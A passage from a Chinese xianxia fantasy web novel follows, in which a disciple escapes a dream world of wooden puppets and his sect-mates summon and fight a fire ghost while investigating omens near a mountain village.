顾梦真擦了擦眼泪,声音沙哑道:“……映心?” “是我,二师兄。” “你……你大晚上的找我有什么事?” 木头人映心就这么推门进来了,她本就是这样的性子;一进来看见他狼狈的哭脸,歪歪脑袋问:“二师兄,你为何哭了?” “没什么……”顾梦真抽抽鼻涕,敷衍木头人道,“什么事啊?我要睡了。” 木头人映心说:“二师兄,你最近有些奇怪。” 顾梦真无语地冒了个鼻涕泡:“我奇怪?奇怪的是你们吧……” 木头人映心道:“二师兄,有什么事你可以和师父说。” “和师父说?” 木头人映心点点头:“嗯,若你不想和师父说,可以和大师兄说。” “……大师兄吗?” 木头人映心又道:“若也不想和大师兄说,可以和我说。” 顾梦真苦笑一声:“你很懂辈分了,映心。” 映心道:“二师兄,大家都很关心你。” “哦,是吗?”顾梦真问,“你懂得什么是关心吗?” “我原来是不懂,”映心的语气平静而认真,“我想我在感情上是比二师兄你们要迟钝许多,但我很聪明,学得很快。” 顾梦真感到一些好笑,怀念道:“不是我故意将你做成这样的,毕竟你的原型是映心嘛……” 映心:“二师兄,你方才说什么?” “哦,我说……”顾梦真看着师妹的脸道,“映心,二师兄记得你一直都是很聪明的,很多事情光是看话本看书就能学会了。” 映心静静地看了他一会,微微摇头道:“你说错了,二师兄,很多事情是看书学不会的。” 没想到自己还有被木头人教训的时候,顾梦真无奈道:“那要怎么学会呢?” 映心道:“若要学剑术,要向师父和大师兄学;若要学炼器,要向二师兄你学;若要学画画和话本呢,便是向换月学……这些事自然是看看书,看看招式便会了;但若要学感情,只能向一片真心学。” 顾梦真听得一愣一愣的:“喔……你说得头头是道,我都听不明白了。” 映心朝他笑了笑,转头看向打开的窗户,夜空中明亮的月:“这里的森林,太阳,月亮,雪花,屋子,二师兄你,大师兄,换月,师父……还有我,都是假的,只有一颗心是真的。” 顾梦真:OO 什么? “映心你、你在说什么?” 映心将视线转回来和他四目相对,木头做的眼睛粗看和寻常人没什么区别,但这么近地细看,就像是两颗毫无亮光的黑色石头。 这双眼睛对着他眨了眨,下一瞬脸上便扬起一个“果然如此”的笑容来:“原来是这样。” 顾梦真此时脑子麻麻的不知该怎么思考:“……怎么样?” “二师兄,”映心伸出手来,贴上他的胸膛,传去一些来自木头的冰冷,“此时便是梦醒的时候,我们都在等你呢。” 顾梦真:O0O 她话音一落,就在顾梦真无法可想的震惊的注视下——将手插入了他的血肉之中,猛地捏住了他的心脏。 这完全是惊诧到惊悚、惊悚到大脑空白的程度,顾梦真不知道心脏这会传来的感觉是不是疼,只觉得被五雷轰顶……等等,他真的听到了雷声! 轰! 器修抬起头来看向天花板,居然看透陈旧的木板上覆盖着厚实的白雪,白雪之上的夜空,有一道雷光在惊现的瞬间就劈了下来!穿破所有虚幻的梦境,势如破竹地对着他劈来—— 谁推了他一把? 顾梦真猛地回过神来,震惊地看着映心被劈倒在地上,浑身上下雷光滋啦作响。 “映心!!” 他吓得扑了过去,但只见原先和真人没什么两样的映心这会现出原形木头的模样,生动的表情也变得无比僵硬;听到他的呼唤,卡顿地微微侧过脑袋,朝他露出一个机械的微笑:“二师兄……” “映心……”顾梦真脑子完全混乱,他方才真是把对方当成了师妹映心,可这会小木人显出了原形,好像当头一棒砸在他的头上,完全地头昏脑涨了。 砰! 屋门被破开,顾梦真抬头一看,是听到动静赶来的大师兄等木头人;一见到倒在地上的木头映心,大师兄飞快地去查看她的情况,小师妹吵吵嚷嚷地问怎么回事我师姐怎么回事;唯一还算淡定的师父抬头看了看天花板,面色凝重。 轰! 不等她们反应过来,有一道惊雷落下——大师兄下意识拔剑挡在他面前,可他只是木头人,手上拿着也只是盗版木头破竹剑,很快也如木头映心一般被劈出了原形,倒在了映心边上。 木头换月:“啊!” 木头师父:“唉。” 换月冲上来揪住他的衣领:“喂,这到底是怎么回事!?” 顾梦真也想知道呢,泪眼汪汪地说:“我真的不知道……换月,师父,你们快跑吧!” 换月瞪他:“跑哪去?你说跑哪去!” 顾梦真被她揪得差点没喘上气:“呜呜……咳咳……对不住……是我对不住你们……” “好了好了。”师父过来熟练地调解纠纷,扒拉开二人,“这都什么时候了还吵吵?大晚上的消停些……” 师父话音未落,又是一道天雷伴着轰鸣劈下。换月忽然从兜里掏出一大叠符箓往空中一扬,宛若天女撒花一般——可惜这些眨眼间就被雷劈成无数烟灰,连带着木头符修也被反噬,直愣愣地倒在了地上。 顾梦真抹了把泪:“这到底是怎么回事……” “哎呀,这么大孩子了还掉眼泪。”师父拍拍他的肩膀,叹了口气道,“都是快化神期的修士了,就是想哭,也得装模作样地摆出稳重的模样,照你大师兄学就成……” 器修抽抽鼻涕:“啊?” 师父朝边上的屋子抬抬下巴:“去你的炼器房看看。” 器修下意识应了一声,但其实还没回过神来,正想再问些什么,可天雷不等他,又是劈头盖脸地下来了,雷光照亮了师父和蔼的笑容—— 顾梦真将木头师父小心放在地上,和他木头师兄妹们排排摆好,转身跑去炼器房。 他推开房门,瞧见里头的上古炼器炉正在不安地躁动,并不严实的一些缝隙中时不时冒出火光。 说实话,这三百七十年过去了,他始终不知道自己到底在炼什么玩意,炼丹炉的主人并未再出现过,他从始至终只是照着古籍上的内容自学……他也不能打开看,只怕前功尽弃。 不过在这几百年里,他已经摸透了这上古炼器炉的脾性,比如此时它的躁动,是在叫嚣一种需求。 需求什么呢? 轰—— 器修看向摇摇欲坠的天花板,此时福至心灵;在雷光劈下的这一刹那扑了上去,猛地抱住了炼器炉。他感到有什么力量在炉中盘旋,并且深深地将他吸附住,仿佛渴望已久。 天雷就这么劈在了他身上,将器修劈得滋啦乱抖、灵魂出窍,脑子不清;但很快,顾梦真感到炼器炉正将自己身上的天雷尽数吸收而去。一人一器被无数雷光交织缝补在一起,紧紧相依着像是密不可分的一个整体。 好痛——似乎又不是痛的感觉。 清楚地感受着雷击也算是一种难得的人生体验了。器修咬牙不让自己痛晕过去,他深知自己要坚持到最后——最后炼成这折磨了他三百七十年绝世宝器的时刻! 雷光照透的隔壁屋子里,静静地躺着四具小木人的躯体;屋外的院子中,无数代被废弃的木头人在风雪中伫立,好在它们感受不到雪的寒意;放眼望去,茫茫的森林敷衍地填补着世间的空白,纯净的雪色也不显得明亮。 梦里唯一的光是白日的太阳,夜里的月亮。 顾梦真常常出神地想日月的真假;若日月是假的,他在梦里的每一日也是假的吗?可所有的一切都是假的,为何他的感受那么真实呢? 简直是无解的难题。 器修噗嗤吐出一口血来,喷在他木头师父常常擦拭的上古炼器炉上,将它炉身上的暗纹映出一道艳丽的色彩。 顾梦真模糊的视线隐约瞧出上头的图纹,他莫名认出这是一种阵法,可惜符阵并不是器修的专业;他只是似有所感地、仿佛得到了召唤一般,将手贴在了那块染上血迹的暗纹上—— 轰! 没有日月的雪天,天雷成了天地间唯一的光亮;它自上而下,拖长的尾光冷冽地将世间劈成了两半—— 梦境就此被撕裂。 第274章 “醒了?” “醒了。” 顾梦真艰难地睁开眼睛,模糊的光亮在他上下眼皮间连缠,耳边传来的声音很近却不真实。他意识渐渐回笼,使劲眨了眨眼睛后再睁开,瞧见两张熟悉的脸。 “师父……”顾梦真有些不切实的感触,“还有……大师兄?” 慕雲松了口气,拍拍徒弟的肩膀:“你可总算醒了,为师等得都有些着急了。” 明易也在边上微微颔首。 “我……”顾梦真露出想哭的表情,“我不是在做梦吧?” “做了这么久的梦还没够么?”慕雲半开玩笑道,“那再睡会?” 再睡会?这可不行!顾梦真吓得立起身子,眼泪差点又要飙出来:“不睡了不睡了!我睡够了!师父、大师兄,你们压根不知道我睡了多久!” “睡了多久?”慕雲没懂他话里的意思,还认真算了算日子,“不知道你在药神谷那里睡了几日,不过回来之后倒是睡了一个多月。” 这时候明易在边上道:“我没记错的话,七十四日。” “七十四日……”顾梦真这时候就泪水决堤了,一种难言的委屈淹没了他,“才七十四日……七十四日!” 慕雲被他莫名其妙的嚎啕大哭搞得一惊:“嚯?七十四日还不久吗?” “太久了!”顾梦真哇地抱住了师父,一只手还伸着要去抓大师兄,“实在是太久了呜呜呜呜呜……再多一分钟我也忍不了,再多一日我就要疯了呜呜呜呜……” 明易没搭理他。 慕雲:??? 什么玩意?她安抚地拍拍二徒弟的背,转头打算给大徒弟使眼色要他接手,谁知瞅见大徒弟默然的失神表情,瞧着居然有些饱经霜雪的沧桑?虽说他平时也爱装老成吧……但这会怎么感觉不像装的? 不是,她两个徒弟到底遭受什么刺激了? 没等她想明白,就听大徒弟冷飕飕道:“别哭了,收拾一下准备走了。” “啊?”顾梦真松开师父,抹了把眼泪,“去哪啊……对了,我还没见到映心和换月……她们怎么还没来看我呢?这两个家伙……” 慕雲帮两个小徒弟解释道:“不知你俩什么时候醒来,她俩便先下山出任务了。” 顾梦真听这话里的意思,抽抽鼻涕看向大师兄:“什么意思?大师兄也昏迷了吗?” “是啊,”慕雲伸出两个手指头,“就比你早两日醒。” 顾梦真:O0O 不错,比他早两日醒的明易本打算今早就出发去找两个师妹,谁知道凌晨的时候看见师弟的洞府上方出现了天雷,只好暂缓出行;不过他没打算给师弟太多时间休息,这会就催上了:“我们要去幽冥宗,你在路上休息吧。” 顾梦真:…… 听着真不是人话。 大徒弟这次一醒来就格外急切,慕雲实在疑惑道:“明易啊,你有这么着急吗?” “嗯。”明易微微颔首,想了想又和师弟道,“不 然你在家中休憩几日,我先走。” “别别别。”顾梦真连忙把被子一掀,“我现在就准备……我也好久好久没见师妹她们了呜呜呜……” 慕雲真搞不懂:“七十四日也不是很久吧?” “师父你不懂呜呜呜呜……” 慕雲:个个? 她在边上嘟囔道:“映心也是,换月也是,就连你俩也是,现在的孩子真奇怪……罢了,等这次回来,为师再帮你们庆祝破境一事吧。” 明易便道:“有劳师父费心了。” “当师父哪有不费心的?” 慕雲摆摆手,见他俩也忙活,便叮嘱了几句“注意安全”“早点找到两个师妹”之类的话,就转身飞走了。 师父一走,明易瞅着师弟忙忙碌碌收拾行李的身影,冒了一句:“梦真,你做了什么梦?” 关于这问题,顾梦真有太多话要倾诉,但一时不知从何说起,现在手头上还有事,他没什么逻辑地叽哩哇啦了几句后便放弃了:“说来话长,等之后见到映心她们我再一起说吧……总之是个古怪又痛苦的梦!大师兄,你听了便知道我有多惨了……呜呜呜……” 这说两句又哭了,明易略有些嫌弃,但转念似乎想到了什么,面色渐渐消沉。 二人简单收拾好后,便要出发幽冥宗。 临行前,明易给师妹寄去传音符询问她们的具体方位,料想着大概到了幽冥宗便能很快收到回信了。 * 宋山,汶上村。 得益于汶上村是邬芽的家乡,石映心等人在此处受到了热情的招待:几乎每户人家都认识这位从她们小村庄走向幽冥宗的出息姑娘;见她回来了,还带来几位修仙人士,村民们都非常兴奋,还说要大摆宴席热烈欢迎…… 不过被邬芽大公无私地拦下了:“各位大姐大哥婶婶叔叔小妹小弟,我们此次前来是为了解决彗星异象的事,怎么能游手好闲、好逸恶劳呢?大家各忙各的事便好,不必特地招待我们!” 村民们道:“哎呀,你们千里迢迢地赶来帮忙,怎么能随意对付呢?” 邬芽还想拒绝,这时曾换月在边上道:“这样吧娘老乡亲们,设宴一事并不着急,等我们解决了异象大伙再一同庆祝才好!” 村民们想想也是这么回事,暂且被说服。 好不容易扛过村民们的热情,四人总算松了口气。曾换月笑呵呵道:“没想到邬芽你和大家的关系这么好呀……对了,你家在哪?还没和你爹娘打招呼呢,顺便在你家吃点好了,你们汶上村有啥特色菜呀?” “其实……”邬芽挠挠头道,“我是孤儿来着。” 曾换月:Oo “哎呀,我没和你们说过吗?”邬芽笑着说,“我是我奶奶在宋山上捡来的孤儿,没过几年奶奶去世了,我便独自一人住,算是吃百家饭长大的吧。没过两年师父路过汶上,就接我去幽冥宗了。” “原来是这样。”石映心颔首。 曾换月便有个重要问题:“那我们今晚住哪呢?” 邬芽想了想道:“去村长家吧,还要找他了解具体情况。” 于是她们来到村长家中,对方似乎也在等着她们,正在门口打转呢;一见到几人便迎上来道:“哎呀邬芽,总算等到你来了!方才人那么多,我也不好意思上去耽误你和乡亲们叙旧……” 村长李仁东是个四十岁左右的瘦高男人,容貌精神,就是这会神情瞧着有些憔悴和焦虑。 “东叔,许久不见了。”寒暄过后,邬芽向李村长介绍了几位同伴。 李仁东连忙将几人往屋里迎:“几位仙人大驾光临,快快请进,小地方招待不周还请见谅啊……” 几人进了屋内,喝上了一口热茶,又吃了一些点心,被李仁东忙忙碌碌地招待着,还是她们主动问起彗星异象的事,才听李仁东娓娓道来。 “唉,这还是要多亏了邬芽你留下的宝贝的提醒……” 这么说着,就见他拿出一个铜盒来,打开后又拿出一个铜盒,然后再打开再拿出,继续打开继续拿出……四人都要看呆了,终于见他拿出了最后的宝贝:一只黑石头鸟。 “咦,”邬芽觉得很眼熟,“东叔,这不是我许久以前送你的石鸟吗?” 李仁东笑道:“是呀!” 他瞧着有些激动,邬芽却回忆不起来了:“当时我为何送您这只石鸟来着?” “欸,当时你难得从幽冥宗回来看我们,恰逢宋山上闹蛇灾,你……对了,还有这位小弟,当时你也来了。”李仁东朝没怎么说话的桑九笑了笑,“你们师姐弟二人替我们解决了蛇灾后,听村民们说担心以后还有灾祸,于是就送了这只石鸟给村子,说是……” 小弟桑九听到这其实已经想起来了:“这只石鸟中蕴含着我和师姐的法力,可以预防灾祸。” “是,是!正是预防灾祸!”李仁东珍惜地看向手中的石鸟道,“当时我并不知此宝物的厉害,只将它放在盒中小心保管。谁知有一日晚上,听到它在盒中不停鸣叫……” “我急忙将它拿出来,随着它叫声的指引来到屋外,竟发现宋山上起了火灾!好在有它的及时警醒,村民们连夜将山上的火熄灭了,这才没酿成大祸。”说到这,他朝邬芽师姐弟二人投去感激的目光,“真是多亏了你们二人!” “不必这么客气的东叔,我是汶上人,帮忙也是应该的。”邬芽还有些不好意思呢,谦虚后又想到什么,“难道此次的异象……也是这石鸟的提醒?” “正是,正是!”说到这,李仁东叹了口气,“若我没记错的话,这半月它已经叫了四次,前三次是在晚上,我出门便瞧见彗星经过……最后一次是在三日前的凌晨,山上莫名起了火灾,好在有它提醒让我们发现得及时……唉,不过这两日倒是没叫了。” 没想到石映心却提了一嘴:“可能是因为这只石鸟上已经没有多少灵力了。” 李仁东闻言一惊:“啊?怎么会……我明明一直好生保管!” “没事的东叔,”邬芽接过他手中的石鸟,起了手诀往里头输送灵力,“这石鸟也有许多年岁了,又派上了不少用场,自然会耗费灵力;我这就给您补上,然后还能用许久。” 李仁东闻言那是十分高兴:“这敢情好!这敢情好!真是多谢你了啊邬芽。” 邬芽摆摆手:“不谢不谢,都是小事,东叔。” 这时桑九问:“东叔,听说很多村民都在夜间听到山上有鬼哭狼嚎声?” 第275章 “是啊!”说起这事,李仁东脸上的高兴很快又变成了忧愁,“我睡得深,本来并无察觉,但经村民们一提便格外留意了,还真的有哭一般的声响从山上传来!我娘子一开始还以为是风声,但细细听了一会,也说像哭声,如泣如诉……” “唉,这事闹得,村民们这几日都不敢上山了。”李仁东叹了口气,“三日前趁着去山上灭火,我们上去瞅了一眼,可是没发现什么异样……不过夜里的哭声始终不停,大伙也不敢松懈。可惜了,往常这时候可是村民们上山赏红枫的好日子……” 现在别说赏红枫了,没无故起火灾就该谢天谢地。 几人说话的时候,外头进来一个人,正是李仁东的娘子黄恬,怀中还抱着一个两三岁的女娃,女娃的手中拿着一个木头做的小孩玩具。 见到屋里这么多人,黄恬略有些惊讶地看了一圈,目光落在邬芽身上,有些不敢确信道:“邬芽?是邬芽回来了?” 李仁东笑道:“是啊,快让宝宝认认人!” “恬姨,”邬芽上前去打招呼,还逗了逗她怀中的小孩,“几年没见,没想到你和东叔都生了个这么大的娃娃了。” 黄恬也稀奇地打量着她,感慨道:“你也长大了,邬芽!宝宝,快叫姐姐。” 她怀中的女娃甜甜地叫了声姐姐,邬芽笑眯眯地应了一声,随手变出一个小玩意送给她玩。 黄恬又和石映心等人打了招呼,知道她们是来谈正事的,并未久留就抱着孩子走了。 和李仁东仔细询问了一些事情后,几人决定今晚夜探宋山。这边李仁东还在焦急上哪找空出来的合适的屋子让他们住下,被几人摁住说不必麻烦了,反正修仙人士不睡也行,有个能坐下休息的地方就成。 还未到晚上,几人就在村里瞎逛,顺便还陪宝宝玩了一会;汶上村只是个傍山而居的小村落,并不富裕,没啥大鱼大肉,村中的特色菜也很朴实。不过恬姨和东叔的手艺不错,几人吃得都很心满意足。 夜渐深时,黄恬便打算哄孩子睡觉了;只是家中难得来了外人,宝宝非常稀罕,就算哈欠连连也不愿意走,扒拉着邬芽她们就是不肯走。黄恬在边上好声好气叫了几声,眼见耐心将要告罄。 石映心贴心道:“不如我让她睡去?” 黄恬有些心动,又有些不敢答应:“这……是不是不太好呢?” 曾换月觉得宝宝可爱是可爱,但执拗起来也是烦人的,再说她们等会就要去山上了,怎么能被缠住呢,连忙道:“你放心吧恬姨,没什么后遗症的!” 黄恬当然是信任她们的,于是刚要应下,却听邬芽道:“宝宝听话,你乖乖躺下,姐姐给你讲故事好不好?” “讲故事?”宝宝抬起头来,眨眨有些困顿的眼睛,“好啊,宝宝要听故事!” 曾换月这会对邬芽真是佩服,她觉得此人真是情绪稳定啊,没不耐烦没生气就不错了,还讲故事呢;不像她师弟,和宝宝没玩一会就待不下去了,如今人都不知道在哪呢。 说起给孩子听的睡 前故事,她就想到《小红帽》《白雪公主》啥的,还不知道这时的孩子都是听什么样的故事呢……难道是嫦娥奔月梁祝化蝶之类的? 果然也听师姐好奇问道:“是什么故事?” 邬芽说:“精卫填海。” “精卫填海?哦……是有这个故事来着。”曾换月并不惊讶。 “我没听过。”石映心摇摇头,“我也想听。” “宝宝也没听过!”宝宝仰头看向她娘亲,“娘,精卫是谁呀?” 黄恬将孩子抱来自己怀中,调整了一个哄睡的姿势,拍拍她后背道:“这也是娘小时候才听你姥姥讲过的事了……” 这时有人进屋了,是来问她们打算什么时候出发的桑九,但他见了屋中的情况并未开口,只是默默地坐在边上等待,低头看着地上被烛光照出来的影子,似乎在发呆。 晚风吹动山林,隐约有声响,夜空下的汶上村寂静而安宁,点点灯火从窗内映出;某一扇透光的窗内,围坐着有说故事和听故事的人。 “传说在很久很久以前,有一位被尊称为炎帝的帝王,她有一个女儿叫女娃;这日女娃驾船,从黄海游去遥远的东海玩耍,谁知看着平静的海面上忽然风浪骤变,波涛汹涌;如山一般的海浪掀翻了女娃的小船,将她压入海中……” 宝宝听不懂故事中的可怖,只是在邬芽温柔的声音中慢慢地阖上了眼睛。 “女娃年轻的生命就这么在大海中消散了。”邬芽说,“炎帝得知此事,伤心不已,可惜她的神力并不能将死在水中的女儿复活……” 这时候旁听的石映心问了一句:“此处的炎帝是谁?” 邬芽被她问得一愣:“这……我也不清楚。”她还看向方才说自己听过故事的黄恬询问,但对方也是茫然地摇了摇头。 石映心点点头,并未再问。 邬芽于是继续道:“炎帝无法,死去的女娃也不甘心,她的魂魄化作一只名为‘精卫’的神鸟;古籍上说,这只鸟‘其状如乌,文首、白喙、赤足’,住在北方的发鸠山。” “精卫仇恨大海夺去了她的性命,决心要报仇,报仇的方式便是填海。于是她常常飞去哪里的山上衔来小石子,再飞回东海丢下,渴望某一日能将大海填平。大海嘲笑她的不自量力,人们劝她早日放下心结……” “可精卫只是永无休止地循环往复,就这么日复一日,年复一年……只要世上还有太阳,还有月亮,不达目的誓不罢休。” 她缓缓地说到这,看向黄恬怀中已经陷入梦乡的宝宝,最后添上了所有寓教育人故事都该有的结语:“世人以精卫的事迹启示,面对困难时,我们应有锲而不舍、坚韧不拔的勇敢和决心。” 随她的话音落下,黄恬朝邬芽等人无声又感激地笑了笑,小心地抱着孩子回房了。 她离开之后屋内还是安静,曾换月打了个哈欠,桑九从椅子上站起来询问:“什么时候上山?” 邬芽看向石映心:“现在?” 石映心颔首:“嗯,走吧。” 明月当空照。 曾换月疑心夏天在她昏睡的时候不留情地离开了,这会吹来的晚风居然有些寒意,她感到一些惋惜。 就在汶上村不远处的宋山静静矗立在那,几人御物飞行而去。 汶上村的村民们自然不知道这几日的异象到底是哪里出了问题,根源是来自山上,还是飞逝而过的彗星?因此给不了太多情报。四人便打算先去三日前着火的地方看看。 李仁东说他在着火的地方插了一面旗帜做记号,她们在空中四处寻了寻,果真瞧见一面花白的旗帜,于是降落在那处。 簌簌…… 风吹枝叶的声音在晚上格外明显,几人四处观望一番,除了枫树就是枫树;枫叶上铺盖着一层月色,火热的红竟显出一些冰冷。 簌簌簌…… 她们左顾右盼,这块因火荒废的小范围空地上只剩下一些焦黑的地皮,以及干巴巴的、被烧断的树干了。曾换月觉得此情此景有些恐怖片的阴森氛围,但看看来自毗邻幽都的幽冥宗的二位…… 专业人士在呢,更何况还有她师姐,有啥可怕的? 于是挺起胸膛,底气很足道:“我看此处也没什么古怪的嘛!” “没有古怪才古怪,”桑九平静道,“不然这火是怎么烧起来的?” “……嘶,也许是什么意外呢?”曾换月试图回忆“走近科学”中的某些知识点,但想得起来就不是曾换月了。 这时候她师姐道:“不是说有鬼哭狼嚎声?怎么没听见。” 邬芽看了眼月色:“也许还没到时候?” 那只好等着了。 她们打量了一圈这附近,没发现什么特别的地方。石映心于是说要去别处看看,她师妹已经做好准备了:“行,那就把这山翻遍了……” “且慢,”邬芽朝二人一笑道,“我有个办法一试。” 她们便投去询问的目光。 邬芽说:“我和桑九可以招来逗留在山上的亡魂,也许它们会知道些什么。” 二人:Oo? 这听着真是一个可怕又方便的方法。曾换月贴着师姐,咽了咽口水:“那什么……你们招的是地缚鬼吗?” 邬芽还有些惊讶呢:“换月你知道这说法呀。” “哈哈,略有耳闻啦。”曾换月打了个哈哈,“那你们招来的那玩意不会伤害我们吧?” 桑九摇头,实话实说:“不能保证。” 石映心:“不能保证是什么意思?” 桑九解释道:“一般来说,我们只能招来比自身修为低的鬼魂,对方若不傻,便不会主动找死;不一般的情况是……招到傻鬼或者被动吸引来比我们修为高的鬼。不过……” 他看向石映心,总感觉语气听起来有些不爽:“你不是很厉害么?” 这个时候石映心是不会谦虚的:“嗯,你们放心招来便是。” “别怕,”邬芽好心宽慰她们,“桑九说的不一般情况是很少见的,除非特别倒霉。” 曾换月松了口气:“那就行。” 石映心瞅了瞅师妹,又瞅了瞅幽冥宗二人,心想这种时候算倒霉的概率该怎么算呢?仅看“召唤者”的运气,还是说……但凡四人中有一人走了霉运,都会拖后腿拉低概率? 当然这些顾虑她并不在意,毕竟她做事不会考虑运气。 第276章 出于谨慎,地缚鬼由修为略逊邬芽一筹的桑九招来。石映心和师妹好奇地旁观她们幽冥宗弟子的招鬼法术:就见桑九立手诀在身前,嘴里飞快地念叨了什么咒文,很快以他为中心,地面上就展开一圈复杂的……阵法? 在邬芽的提醒下,踩在这圈边缘的师姐妹二人配合地撤退了几步,隔开了一些距离。 “咦,师姐,这好像不是阵法,”小师妹一边退一边嘟囔着,“应该是……咒文吧?” 石映心看不懂,只能感到一种新奇的能量:“咒文?” “对,咒文,”曾换月认真打量着,推测道,“怎么说呢,就像民间降鬼的道士,不是常常会用什么符箓吗?和那些符箓上的符文很像。” 石映心没见过降鬼的道士,但看过这类的话本,心中大概有数了:“原来是这样,换月你好聪明。” “还好啦,嘿嘿。”曾换月谦虚地自夸道,“不管怎么说我也是元婴后期的修士了嘛。不过这么看来,那些道士的本领居然和幽冥宗有些渊源……难道都是因为和鬼有关?哇,这世上真是处处有因缘呀师姐。” “嗯。” 是啊,确实处处有因缘。石映心想,没想到桑九这招鬼法术还能引起旋娉的反应,这会她感觉自己的心镜都有种呼之欲出的冲动,仿佛什么要破镜而出……但奇怪的是,以往时不时就要出来说几句话的旋娉,在这强烈的感应下却悄无声息。 石映心难得主动找她说话:“旋娉?” 对方倒也没装死:“干嘛?” 石映心其实不知从何问起,想了想道:“你知道我要问什么。” 旋娉:“……” 旋娉:“呵,不错,我是对幽冥宗的功法有感应,这不是理所当然的吗?我如今也只是魂魄罢了,不过你放心,就这小子的修为压根穿破不了你的心镜、真正地影响到我。” 原来是这样。石映心微微颔首,又要问些什么的时候,却感到脚下的地面开始震荡,小师妹已经抱住了她的胳膊:“师姐师姐!” 石映心稳重地安慰她:“没事,应该只是招鬼的正常现象……” 说话时她看向对边的邬芽,见她低头看着山地,面色略有些讶异;于是又朝桑九瞅去,却瞧见他冒了些冷汗的额头。 石映心:OO? 原来不正常啊。 曾换月本没有多少惊慌,只是下意识地要贴住师姐,但这会忽然瞥见师姐的手上都拿上帝血剑了,立刻意识到确实有危险来临,无语道:“搞什么,真有这么倒霉?” 几乎是随她话音落下的一瞬间,有阵妖风猛地袭来,吹得周遭的枫树疯狂簌簌作响;在这震耳的声音中,似乎夹杂着什么古怪的动静,几人专注一听,总算听到了村民们所说的“鬼哭狼嚎”。 确实如泣如诉,像是女声男声小孩声老人声的集合,每个声音都在说话,但又分辨不出它们在说什么,听着倒是很唬人。 石映心四处张望着去找鬼哭声来自何处,她本以为会有大批鬼来袭,但目前只瞧见无数被风吹得狰狞、像鬼一般手舞足蹈的树影。 石映心看向桑九:“你招来的鬼呢?” 桑九(施法中):“……” “这鬼对劲吗?”曾换月在风中有些凌乱,大喊道,“那个啥,要不换一只吧!” “不行的——”对边的邬芽也喊道,“中途打断会造成更无法控制的后果!” 哎呀这。 这情况她没空解释,但石映心二人很快想明白了:如果是凭法术招来的鬼,就算修为高于施法者,但多少会被制约一些;若是中途打断施法,那鬼岂是召之即来挥之即去的?等它主动找上门来了,可就没啥制约了。 因此就算半道意识到不对劲,还得硬着头皮继续。 石映心瞅着桑九紧绷的面色,觉得他此刻的头皮应该蛮硬的。 “哇去!”这时她师妹忽然跳了起来,往她身边蹦了一下,“谁烫我的脚!” 石映心扶住她,目光落在她蹦离的地面上,眼尖地瞧见一点火星从地里迸溅而出,那一块地皮瞬间被点燃,起了一小片的火光。 她正有些疑惑,却见她师妹又蹦跶了回去,往那火星上使劲踩啊踩,嘴里还念叨着:“星星之火可以燎原!危险危险!” 非常有道理,但她还想研究一下这火到底是哪来的呢,李仁东说的“莫名的火灾”是否就是因此而起?石映心便想去制止师妹保留火星,但步子还没迈出去,就感到脚底被烧了一下。 她低下头去,就这抬脚的功夫,边上一大块地面都冒出火光来,四处分散着,无法计数。 “我去!”曾换月一边跳脚一边叫唤,“师姐,我们成热锅上的蚂蚁了!” 这到底是什么情况?石映心怕干扰桑九,不敢轻举妄动,看看关注着师弟面色着急的邬芽,又看看脚下一片红光还在顽强地施法的桑九,心想他脚不烫吗……好吧现在不是关心这个的时候。 石映心让师妹御物飞起,自个轻功跳去邬芽边上,如此就不用大吼大叫了:“要着火了。” “嗯,”邬芽面色有些沉重,“看来三日前的火灾也是这么来的。” 石映心一顿:“这不是你们招鬼带来的影响?” “是、不是……也是,”邬芽一时舌头打结,连忙解开,“应该这么说,是桑九招来的那只鬼引发的火灾!” “噢,”石映心便明白了,“原来不是倒霉,是运气太好了。” 一下找到了罪魁祸首。 邬芽:……那你要这么说也行吧。 二人叽里呱啦间,桑九已经完成了最后的蓄力;只是此鬼的修为出乎他意料,这会只好咬破指尖血滴入脚下的咒文中,企图增加与鬼的连结,从而增强对它的约束。随着血滴落下,原先只是微微发光的咒文立刻大方光芒——不过放的是火光。 “桑九!” 一个硕大的火影从火光中成型,热辣的气体迎面压来,将几人都压懵了片刻。邬芽叫嚷一声,跳入火中去找被淹没的师弟;曾换月在空中御物差点没被这热浪掀翻,好险挂在了一棵树上;石映心以手挡在面前,身形还挺安稳。 她看了眼安全的师妹,正打算去找邬芽二人,却见她已经拎着师弟出来了,便作罢;转眼去看那只火影鬼,约有两倍人那么高大,浑身上下没有皮囊,血淋淋的分不清是血还是火。 “我对付他,”石映心对幽冥宗二人道,“你们负责灭火。” “咳咳等等……”桑九见她提剑就要上,连忙叫住她,“你咳咳、别把它杀死了……” 邬芽来不及解释,只飞快道:“不能随意杀鬼!” 石映心没多问,颔首表示知道了。 “师姐!”曾换月也飞了过来,“我来帮忙!” 她掏出一大叠降雨符来往空中一撒,将其送到空中形成如云般的一层,瞧着很有气势;紧接着符修施法启动符箓,就见空中倒下倾盆大雨来——真的倾盆大雨,哗啦地淋了她师姐一身,也将那火影鬼的火势浇灭了大半。 “哇……”邬芽抹了把全是水的脸,感叹道,“换月好阔气啊!” 被火烧后本想顽强施展水法术的桑九也被盖了一身的水,被烟呛的咳嗽好不容易消停,这下又因为差点溺水开始咳咳咳了。但好在有曾换月的帮忙,他还能再休息一会。 曾换月的降雨符成功熄灭了地上的星星之火,让它们不能燎原,但火影鬼的火可没那么好熄。 和它对招的时候,剑修想起许久以前……哦,也就去年的事,她在知州府遇见的那只火鬼,当时是她呼风唤雨,招来雨水熄灭它身上的火,但面前这只火影鬼用这招应不可行。 换月的降雨符和她的呼风唤雨都是同一师门的法术,换月的降雨符对它无效,同理她的呼风唤雨应该也作用不大。 那怎么熄它的火呢?她瞥了眼桑九的身影,心说不知他们幽冥宗的功法是否能起效…… 一招落下,石映心用剑将火影鬼劈开,避让火势退到一侧后伸手顺着剑身将帝血剑上沾染的火抹灭,忽然感到手掌心的炙热潜入她的皮肉,顺势进入了她的经脉之中。 剑修:? 她一开始以为自己的手着火了,低头一看却不是:手心的皮还好好的,只是有些泛红。咦?方才不是错觉吧? 她正走神呢,却听师妹喊了一声“师姐小心”,立刻闪身飞到一边;抬头一看,却见那被她辟成两半的火影鬼也不复原,就这么断成了上下两半,主要分为脑袋和脑袋以下无头躯体两个部分。 这会脑袋正一脸狰狞地张大嘴巴朝她咬来,无头躯体也奔跑着气势汹汹地往她一扑—— 石映心听到旋娉的声音:“快吸收它的灵火!” 剑修已经提剑打算将这脑袋和躯体劈退,闻言一顿,下意识伸出左手去吸收扑来的火势,下一刻又意识到什么,将帝血剑挡在左手前方作抵御状。 这战况看得下方几人一愣一愣的。 “你师姐的剑好厉害!”邬芽对曾换月道,“居然能吸收这鬼的灵火?” 曾换月哪里懂剑啊,挠挠头道:“是吗?没我师姐厉害啦。” 